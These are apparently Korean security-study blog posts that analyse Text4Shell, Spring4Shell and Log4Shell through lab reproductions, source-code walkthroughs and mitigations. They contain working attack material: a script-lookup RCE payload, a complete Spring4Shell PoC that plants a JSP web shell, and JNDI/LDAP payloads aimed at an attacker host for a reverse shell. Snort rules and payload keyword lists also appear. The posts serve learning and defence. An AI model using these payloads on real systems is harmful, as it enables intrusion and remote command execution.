1. Apache Commons Tex

- 일종의 라이브러리로, 표준 자바 개발 키트(JDK)에 포함되어 텍스트 처리 기능을 강화 즉, 문자열에서 작동하는 알고리즘에 중점을 둔 라이브러리

- 현재 이 라이브러리를 활용하고 있는 프로젝트는 2588개

 

Commons Text – Home

Commons Text Apache Commons Text is a library focused on algorithms working on strings. Documentation We provide documentation in the form of a User Guide, Javadoc, and Project Reports. The Git repository can be browsed, or you can browse/contribute via Gi

commons.apache.org

 

2. CVE-2022-42889

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-42889

- Apache Commons Text 1.5.0 ~ 1.9.0에서 RCE가 가능한 취약점 (CVSS 9.8점)

- 취약한 버전의 변수 보간법을 수행하는 org.apache.commons.text.lookup.StringLookup에서 입력값에 대한 적절한 검증 없이 API를 사용하여 발생하는 취약점

변수 보간법
- 형식 : ${prefix:name}
- 여러 줄 문자열에 대해 연결 또는 이스케이프 문자를 사용하지 않고 변수, 함수 호출 및 산술 표현식을 문자열에 직접 삽입 할 수있는 기능
- 즉, 변수에 해당되는 값을 유동적으로 String에 넣을 수 있음

 

2.1 취약점 상세

- 취약한 서버 구동

$ git clone https://github.com/karthikuj/cve-2022-42889-text4shell-docker
$ cd cve-2022-42889-text4shell-docker
$ mvn clean install
$ docker build --tag=text4shell .
$ docker run -p 80:8080 text4shell

[사진 2] 취약 서버 구동

- 서버 구동 후 정상 접근 확인

[사진 3] 로컬 접근(위) 및 외부 접근(아래)

- 피해 시스템의 tmp 디렉터리 내용 확인

[사진 4] 피해 시스템 /tmp 파일 내용 확인

- search 파라미터에 아래 값을 URL로 한번 인코딩 후 Exploit

${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

[사진 5] Exploit

 

- 이후 피해 시스템에서 tmp 디렉터리 내용을 확인해 보면 foo 파일이 생성된 것을 확인할 수 있음

[사진 6] foo 파일 생성

 

- 해당 패킷을 와이어샤크로 확인해보면 다음과 같음

[사진 7] 와이어샤크 패킷 확인

- 또한, 리버스쉘 생성 가능

[사진 8] 리버스 쉘

 

2.2 취약점 분석

 

Apache Commons Text远程代码执行漏洞(CVE-2022-42889)分析 - admin-神风 - 博客园

漏洞介绍 根据apache官方给出的说明介绍到Apache Commons Text执行变量插值,允许动态评估和扩展属性的一款工具包,插值的标准格式是"${prefix:name}"

www.cnblogs.com

[사진 9] 함수 호출 흐름

 

- StringSubstitutor.replace() 메서드에서 요청에 대한 첫번째 조치 수행을 위해 Substitut() 메소드 호출

public String replace(final String source) {

    if (source == null) {

        return null;

    }

    final TextStringBuilder buf = new TextStringBuilder(source);

    if (!substitute(buf, 0, source.length())) {

        return source;

    }

    return buf.toString();

 

- Substitut() 메소드는 ${} 문자열 분석을 위해 resolveVariable() 메소드 호출

[사진 10] Substitut() 메소드

protected String resolveVariable(final String variableName, final TextStringBuilder buf, final int startPos,

                                 final int endPos) {

    final StringLookup resolver = getStringLookup();

    if (resolver == null) {

        return null;

    }

    return resolver.lookup(variableName);

}

 

- resolveVariable() 메소드에서 얻은 StringLookup은 인스턴스화된 객체가 StringSubstitutor.createInterpolator()를 사용해 생성된 값임

- 그리고 생성자에서 this.setVariableResolver(variableResolver)를 호출하여 VariableResolver를 InterpolatorStringLookup 클래스로 설정한 후 계속해서 InterpolatorStringLookup의 lookup 메소드를 추적

- 해당 lookup 메소드는 ":" 앞의 스크립트 문자열을 가로채 이를 인덱스로 사용하여 해당하는 StringLookup 개체를 가져옴(지원하는 작업 유형은 18가지).

[사진 11] StringLookup 개체

@Override

public String lookup(String var) {

    if (var == null) {

        return null;

    }

 

    final int prefixPos = var.indexOf(PREFIX_SEPARATOR);

    if (prefixPos >= 0) {

        final String prefix = toKey(var.substring(0, prefixPos));

        final String name = var.substring(prefixPos + 1);

        final StringLookup lookup = stringLookupMap.get(prefix);

        String value = null;

        if (lookup != null) {

            value = lookup.lookup(name);

        }

 

        if (value != null) {

            return value;

        }

        var = var.substring(prefixPos + 1);

    }

    if (defaultStringLookup != null) {

        return defaultStringLookup.lookup(var);

    }

    return null;

}

 

- ScriptStringLookup.lookup() 메서드 호출

@Override

public String lookup(final String key) {

    if (key == null) {

        return null;

    }

    final String[] keys = key.split(SPLIT_STR, 2);

    final int keyLen = keys.length;

    if (keyLen != 2) {

        throw IllegalArgumentExceptions.format("Bad script key format [%s]; expected format is EngineName:Script.",

                                               key);

    }

    final String engineName = keys[0];

    final String script = keys[1];

    try {

        final ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName(engineName);

        if (scriptEngine == null) {

            throw new IllegalArgumentException("No script engine named " + engineName);

        }

        return Objects.toString(scriptEngine.eval(script), null);

    } catch (final Exception e) {

        throw IllegalArgumentExceptions.format(e, "Error in script engine [%s] evaluating script [%s].", engineName,

                                               script);

    }

}

 

- js 스크립트 엔진을 가져와서 ScriptEngine.eval 메소드를 통해 코드를 실행

[사진 12] 취약점 발생 지점

3. 대응방안

① 취약점이 패치된 버전으로 업데이트 적용

- 취약점 패치 버전 : Apache Commons Text 1.10.0

- 변수 보간기를 기본적으로 비활성화

[사진 13] Apache Commons Text 1.10.0의 변수 보간기 개체

② Snort 룰 적용 후 탐지 및 차단

- 현재 위험성이 확인된 보간기 개체를 content 값으로 적용

- ${script:
- ${url:UTF-8:
- ${dns:
- ${script:JEXL:
- %24%7Bscript%3A
- %24%7Burl%3AUTF-8%3A
- %24%7Bdns%3A
- %24%7Bscript%3AJEXL%3A

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-42889

https://commons.apache.org/proper/commons-text/security.html

https://github.com/apache/commons-text/commit/b9b40b903e2d1f9935039803c9852439576780ea

https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66968&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PXRpdGxlX25hbWUmc2VhcmNoX3dvcmQ9VEVYVA== 

 

'취약점 > 4Shell' 카테고리의 다른 글

Spring4Sell 취약점(CVE-2022-22965)  (0) 2022.11.12
Log4j 취약점 분석 #3 대응  (0) 2022.07.15
Log4j 취약점 분석 #2 취약점 분석  (0) 2022.07.15
Log4j 취약점 분석 #1 개요  (0) 2022.07.14

1. Spring Framework

- 자바 플랫폼을 위한 오픈 소스 애플리케이션 프레임워크
- 애플리케이션을 개발하기 위한 모든 기능을 종합적으로 제공하는 솔루션

 

2. CVE-2022-22965

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2022-22965

- JDK 9 이상의 Spring 프레임워크에서 RCE가 가능한 취약점 (CVSS 9.8점)
- 2010년에 스프링 프레임워크에서 발견된 취약점이 Class.classLoader를 사용하여 발생하였는데, 이번 JDK 9 버전 이상에서 'class.module.classLoader'로 우회
- 매개변수 바인딩 과정에서 'class' 라는 특수한 변수가 사용자에게 노출되어 'classLoader' 에 접근할 수 있을때 발생
① 사용자가 전달한 매개변수를 POJO에 바인딩하기 위해 "getBeanInfo" 메소드 호출
② 이때, stopClass를 지정하지 않을 시, 상위 클래스에 대한 속성 값도 함께 반환
③ 'class.module.classLoader'를 사용할 수 있게 됨

- 취약 조건
① JDK 9 이상
② Apache Tomcat 서버
③ Spring Framework 버전 5.3.0 ~ 5.3.17, 5.2.0 ~ 5.2.19 및 이전 버전
④ spring-webmvc 또는 spring-webflux 종속성
⑤ WAR 형태로 패키징
- 결과
'class' 객체가 외부에 노출되어 원격의 공격자는 해당 class를 이용해 RCE가 가능해짐

 

2.1 공격원리

- HTTP 요청 메세지에 웹쉘을 생성하는 페이로드를 전송 후 해당 웹쉘에 명령을 전송

[사진 2] 공격 원리 (https://hagsig.tistory.com/107)

 

2.2 취약점 상세

- 취약한 서버 구동

git clone https://github.com/reznok/Spring4Shell-POC
cd /Spring4Shell-POC
docker build . –t spring4shell && docker run –p 8080:8080 spring4shell

[사진 3] 취약 서버 환경 구동

- 도커 컨테이너가 정상적으로 실행되었는지 확인

[사진 4] 취약 서버 웹페이지


- 원격의 공격자는 대상 URL에 대하여 익스플로잇

[사진 5] 익스플로잇 1
[사진 6] 익스플로잇 1 패킷


- 이후, http://도메인 주소:8080/shell.jsp?cmd=id 명령어 입력 시 다음의 결과가 확인

[사진 7] 익스플로잇 2 성공
[사진 8] 익스플로잇 2 패킷


- 또한, 버프스위트를 통해 요청 값을 변조하여 공격 가능

[사진 9] 익스플로잇 3
[그림 10] 익스플로잇 8 패킷

- [그림 10] 200 응답을 받았으나, [그림 11]에서 해당 경로로 접근하여 RCE 결과 404 응답 (정확한 사유를 모르겠음)

[그림 11] 404 응답

 

2.2 PoC 분석

# Author: @Rezn0k
# Based off the work of p1n93r

import requests
import argparse
from urllib.parse import urlparse
import time

# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()

post_headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

get_headers = {
    "prefix": "<%",
    "suffix": "%>//",
    # This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
    "c": "Runtime",
}


def run_exploit(url, directory, filename):
    log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
                  f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
                  f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
                  f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

    log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
    log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
    log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])

    # Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times
    # If re-running the exploit, this will create an artifact of {old_file_name}_.jsp
    file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Change the tomcat log location variables
    print("[*] Modifying Log Configurations")
    ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Changes take some time to populate on tomcat
    time.sleep(3)

    # Send the packet that writes the web shell
    ret = requests.get(url, headers=get_headers, verify=False)
    print("[*] Response Code: %d" % ret.status_code)

    time.sleep(1)

    # Reset the pattern to prevent future writes into the file
    pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)


def main():
    parser = argparse.ArgumentParser(description='Spring Core RCE')
    parser.add_argument('--url', help='target url', required=True)
    parser.add_argument('--file', help='File to write to [no extension]', required=False, default="shell")
    parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',
                        required=False, default="webapps/ROOT")

    file_arg = parser.parse_args().file
    dir_arg = parser.parse_args().dir
    url_arg = parser.parse_args().url

    filename = file_arg.replace(".jsp", "")

    if url_arg is None:
        print("Must pass an option for --url")
        return

    try:
        run_exploit(url_arg, dir_arg, filename)
        print("[+] Exploit completed")
        print("[+] Check your target for a shell")
        print("[+] File: " + filename + ".jsp")

        if dir_arg:
            location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
        else:
            location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=id"
        print(f"[+] Shell should be at: {location}?cmd=id")
    except Exception as e:
        print(e)


if __name__ == '__main__':
    main()


- 해당 PoC에서 핵심인 부분은 def run_exploit() 부분

    log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
                  f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
                  f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
                  f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

    log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
    log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
    log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
파라미터 데이터 설명
class.module.classLoader.resources.context.parent.pipeline.first.pattern %25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%
5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di
실제 페이로드
class.module.classLoader.resources.context.parent.pipeline.first.suffix .jsp 확장자
class.module.classLoader.resources.context.parent.pipeline.first.directory webapps/ROOT 악의적인 파일이 위치할 디렉터리
class.module.classLoader.resources.context.parent.pipeline.first.prefix shell 생성할 파일의 이름을 설정
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat 공란 로그에 대한 날짜 형식이 설정

 

3. 대응방안

3.1 서버측면

① JDK 버전 확인
- “java -version” 명령 입력

② Spring 프레임워크 사용 유무 확인
- 프로젝트가 jar, war 패키지로 돼 있는 경우 zip 확장자로 변경하여 압축풀기
- “spring-beans-.jar”, “spring.jar”, “CachedIntrospectionResuLts.class” 검색
- find . -name spring-beans*.jar

③ 최신버전으로 업데이트 적용
- 신규 업데이트가 불가능할 경우 프로젝트 패키지 아래 해당 전역 클래스 생성 후 재컴파일(테스트 필요)

import org.springwork.core.Ordered;
import org.springwork.core.annotation.Order;
import org.springwork.web.bind.WebDataBinder;
import org.springwork.web.bind.annotation.ControllerAdvice;
import org.springwork.web.bind.annotation.InitBinder;
 
@ControllerAdvice
@Order(10000)
public class BinderControllerAdvice {
@InitBinder
public setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
dataBinder.setDisallowedFields(denylist);
}
}

 

3.2 네트워크 측면

① 보안 솔루션에 Snort 룰, YARA 룰 등 탐지 및 차단 정책 설정

alert tcp any any -> any any (msg:"Spring4Sell CVE-2022-22965"; content:"class.module.classLoader"; nocase;)


② 로그 모니터링 후 관련 IP 차단

③ IoC 침해지표 확인

 

4. 참고

https://www.hahwul.com/2022/04/05/spring4shell/
https://github.com/reznok/Spring4Shell-POC
https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66592&queryString=cGFnZT0yJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PXRpdGxlX25hbWUmc2VhcmNoX3dvcmQ9

'취약점 > 4Shell' 카테고리의 다른 글

Text4Shell (CVE-2022-42889)  (0) 2022.11.20
Log4j 취약점 분석 #3 대응  (0) 2022.07.15
Log4j 취약점 분석 #2 취약점 분석  (0) 2022.07.15
Log4j 취약점 분석 #1 개요  (0) 2022.07.14
 

Log4j 취약점 분석 #1 개요

2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의 기업 및 기관이 Log4j를 사

ggonmerr.tistory.com

 

Log4j 취약점 분석 #2 취약점 분석

Log4j 취약점 분석 #1 개요 2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의

ggonmerr.tistory.com

 

마지막으로 현재는 패치가 완료된 상태이나 Log4j 취약점 대응방안을 정리한다.

 

1. KISA

주요 골자는 최신 버전 업데이트 적용이며 업데이트가 불가능할 경우 JndiLookup 클래스를 제거한다.

 

KISA 인터넷 보호나라&KrCERT

KISA 인터넷 보호나라&KrCERT

www.boho.or.kr

 

KISA 인터넷 보호나라&KrCERT

KISA 인터넷 보호나라&KrCERT

www.boho.or.kr

2. 취약점 점검

먼저 현재 사용중인 Log4j의 버전을 확인하여, 취약점이 존재하는 버전일 경우 최신 버전으로의 업데이트를 적용한다.

로그프로세소 등의 기업이 취약점 대응을 위한 스캐너를 배포하였으며, 해당 스캐너 등을 사용한다.

 

Log4j 버전 확인 방법

1. pom.xml 파일을 열고 "Log4j-core"로 검색해 설치된 버전 정보를 확인 가능하다.

2. 리눅스의 경우 find / -name | grep 'log4j' 명령을 수행하여 파일명 "log4j-core-버전명.jar"를 확인한다.

 

해당 취약점 점검 도구 중 https://log4shell.huntress.com/를 이용하면 보다 편리하게 점검할 수 있다. 해당 사이트에서 LDAP 서버를 구축해 수행하는 쿼리도 제공 한다. 하지만 해당 사이트에 대한 정당한 보안성 검토가 필요하다.

 

Huntress - Log4Shell Tester

Huntress Log4Shell Vulnerability Tester Our team is continuing to investigate CVE-2021-44228, a critical vulnerability that’s affecting a Java logging package log4j which is used in a significant amount of software. The source code for this tool is avail

log4shell.huntress.com

3. 보안 장비에서 탐지

공격자들이 해당 취약점을 이용하기 위해 일정한 패턴(%{jndi:ldap 등)을 사용하는데, 

해당 패턴들을 보안 장비에 등록하여 공격 시도를 탐지 및 차단할 수 있도록 한다.

[캡쳐 1] https://aws.amazon.com/ko/blogs/korea/using-aws-security-services-to-protect-against-detect-and-respond-to-the-log4j-vulnerability/

위 사진을 통해 공격이 발생하지 않도록 할 수 있는 상황은 다음과 같다(이중 하나라도 차단이 되면 공격 불가).

1) WAF를 통해 패턴 차단

2) Log4j를 사용하지 않는 경우

3) Log4j 취약점이 패치된 최신 버전을 사용중인 경우

4) JNDI LookUp을 사용하지 않는 경우

5) Log4j를 사용하나 로그 기록 형태를 공격자가 알 수 없는 형태로 기록하는 경우

6) 공격자의 LDAP 서버와의 통신이 불가한 경우 (IP, Port 차단 또는 도메인 차단 등)

'취약점 > 4Shell' 카테고리의 다른 글

Text4Shell (CVE-2022-42889)  (0) 2022.11.20
Spring4Sell 취약점(CVE-2022-22965)  (0) 2022.11.12
Log4j 취약점 분석 #2 취약점 분석  (0) 2022.07.15
Log4j 취약점 분석 #1 개요  (0) 2022.07.14
 

Log4j 취약점 분석 #1 개요

2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의 기업 및 기관이 Log4j를 사

ggonmerr.tistory.com

 

Log4j 취약점 분석 #3 대응

Log4j 취약점 분석 #1 개요 2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의

ggonmerr.tistory.com

1. Log4j 동작 조건 및 영향 받는 버전

먼저 해당 취약점이 동작하기 위해서는 몇가지 조건이 있는데, 다음과 같다.

- log4j 버전이 2.0에서 2.14.1 사이
- JRE / JDK 버전이 특정 버전(6u221, 7u201, 8u191, 11.0.1)보다 이전 버전

2. 취약점 시연

아래 Github를 참고해 진행하였다.

 

GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.

A Proof-Of-Concept for the CVE-2021-44228 vulnerability. - GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.

github.com

2-1)  피해자 환경

Ubuntu 20.04
IP : 192.168.56.107

명령어

[캡쳐 1] 수행 명렁

해당 명령을 순차적으로 실행한 후 localhost:8080으로 접속이 가능하다.

* docker 설치 및 명령줄을 수행하였으나 error가 발생하였고, sudo 명령을 추가하여 설치와 명령을 수행(해당 부분 이유 확인 필요).

[캡쳐 2] 웹 사이트 화면

2-2)  공격자 환경

Kali Linux
IP : 192.168.56.102
LDAP Port : 1389
Web Port : 8000
nc Port : 9001

명령어

[캡쳐 3] 수행 명령

JDK 1.8 버전을 다운받아 해당 폴더에 위치시켜야 하며, 이름은 JDK_1.8.0_20 이어야한다.

* https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html 에서 8u20 부분을 찾아 다운로드

[캡쳐 4] JDK 다운&압축해제

이후 리버스 쉘 생성과 poc를 실행한다.

[캡쳐 5] 리버스 쉘 생성 및 poc 실행

이후 공격자는 취약합 웹서버에 jndi ldap 쿼리를 이용하여 공격을 수행한다.

[캡쳐 6] ${jndi:ldap://192.168.56.102:1389/a}

공격자 화면을 통해 확인하면 

1. 취약한 웹서버로 부터 8000포트로 LDAP 쿼리를 수신해 Exploit.class를 반환 했으며

2. nc로 리스닝 중이던 9001포트로 리버스 쉘이 생성된 상황이다.

* 패킷 분석을 위해 와이어샤크를 사용하였으나, 해당 부분은 좀 더 공부가 필요할 것으로 보인다(추후 취약점 분석 때 사용 가능하도록).

[캡쳐 7] 공격자의 쉘 획득

2-3)  흐름도

위의 일련의 과정을 흐름도로 나타내면 다음과 같다.

[캡쳐 8] 흐름도

3. 취약점 원리

[캡쳐 9] 취약한 웹서버의 소스코드

[캡쳐 9]는 취약한 웹서버 소스코드의 일부이며 33번 Line에서 userName(계정정보_[캡쳐 6]을 수행한 이유)을 그대로

log로 작성하기 때문에 취약점이 발생 가능 한 것이다.

 

 

 

 

'취약점 > 4Shell' 카테고리의 다른 글

Text4Shell (CVE-2022-42889)  (0) 2022.11.20
Spring4Sell 취약점(CVE-2022-22965)  (0) 2022.11.12
Log4j 취약점 분석 #3 대응  (0) 2022.07.15
Log4j 취약점 분석 #1 개요  (0) 2022.07.14
 

Log4j 취약점 분석 #2 취약점 분석

Log4j 취약점 분석 #1 개요 2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의

ggonmerr.tistory.com

 

Log4j 취약점 분석 #3 대응

Log4j 취약점 분석 #1 개요 2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의

ggonmerr.tistory.com

2021년 말 역사상 최악의 보안 취약점이 발견되었다.
해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다.
대부분의 기업 및 기관이 Log4j를 사용하기에 역사상 최악의 보안 취약점이라 불린다.
현재는 취약점이 패치가 된 상태이며, 개인 공부 및 정리 목적으로 관련 내용을 정리하려 한다.

1. Log4j 취약점(CVE-2021-44228)

[캡쳐 1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228 번역

cve.mitre.org(https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228)에 따르면 해당 취약점은
일부 취약한 Log4j의 JNDI 기능으로 인해 공격자가 제어하는 LDAP 및 JNDI 관련 엔드포인트로부터 악용될 수 있다는 것

2. 취약점에 이용되는 기능

해당 취약점은 Log4j, JNDI, LDAP 3가지 기능을 악용하는 것으로 해당 기능에 대한 이해가 필요하다.

2-1) Log4j

[캡쳐 2] https://wooncloud.tistory.com/65
[캡쳐 3]&amp;nbsp;https://wooncloud.tistory.com/65

즉, Log4j는 아파치 소프트웨어 재단에서 제공하는 로그 레벨 설정 및 해당 로그를 기록하기 위한 자바 기반 로깅 유틸리티이다.

2-2) JNDI(Java Naming and Directory Interface API)

[캡쳐 4] https://deviscreen.tistory.com/123

디렉터리 서비스에서 제공하는 데이터 및 객체를 발견(discover)하고 참고(lookup) 하기 위한 자바 API로
디렉터리 서비스를 이용하기 위한 API 정도로 정리할 수 있을 것 같다.

* 참고 디렉터리 서비스란?
컴퓨터 네트워크의 사용자와 네트워크 자원에 대한 정보를 저장하고 조직하는 응용 소프트웨어
즉, 네트워크에 분산된 자원을 디렉터리 형식으로 관리하며, 디렉터리 내 정보의 검색, 변경, 추가, 삭제 등의 기능을 제공

2-3) LDAP(Lightweight Directory Access Protocol)

[캡쳐 5] https://www.samsungsds.com/kr/insights/ldap.html

TCP/IP 위에서 디렉터리 서비스를 조회하고 수정하는 응용 프로토콜로, 389 포트(SSL 기반 LDAP는 636)를 사용한다.
즉, 디렉터리 서비스를 사용하기위한 프로토콜이다.

3. 최종정리

즉, Log4j 취약점은 다음과 같이 정리할 수 있을 것 같다.
Log4j 유틸리티는 JNDI 디렉터리 서비스를 사용하기위해 LDAP를 사용하는데 공격자는 이를 악한다.

 

● 내용추가

- Java 프로그램들은 JNDI와 LDAP를 통해 Java 객체를 찾을 수 있음

> URL ldap://localhost:389/o=JNDITutorial를 이용해 접속한다면 LDAP 서버에서 JNDITutorial 객체를 찾을 수 있음

 

- Log4j에서는 편리한 사용을 위해 ${prefix:name} 형식으로 Java 객체를 볼 수 있게하는 문법이 존재

> ${java:version}은 현재 실행 중인 Java 버전을 볼 수 있음

 

- 해당 문법은 로그가 기록될 때에도 적용이 가능하여 공격자가 로그에 기록되는 곳을 찾아 익스플로잇 진행

> 공격자는 ${jndi:ldap://공격아이피:1389/실행명령} 입력

> 해당 값을 로그로 기록하는 과정에서 문법이 실행되어 공격자의 서버에 접근하게 되는 것

'취약점 > 4Shell' 카테고리의 다른 글

Text4Shell (CVE-2022-42889)  (0) 2022.11.20
Spring4Sell 취약점(CVE-2022-22965)  (0) 2022.11.12
Log4j 취약점 분석 #3 대응  (0) 2022.07.15
Log4j 취약점 분석 #2 취약점 분석  (0) 2022.07.15

+ Recent posts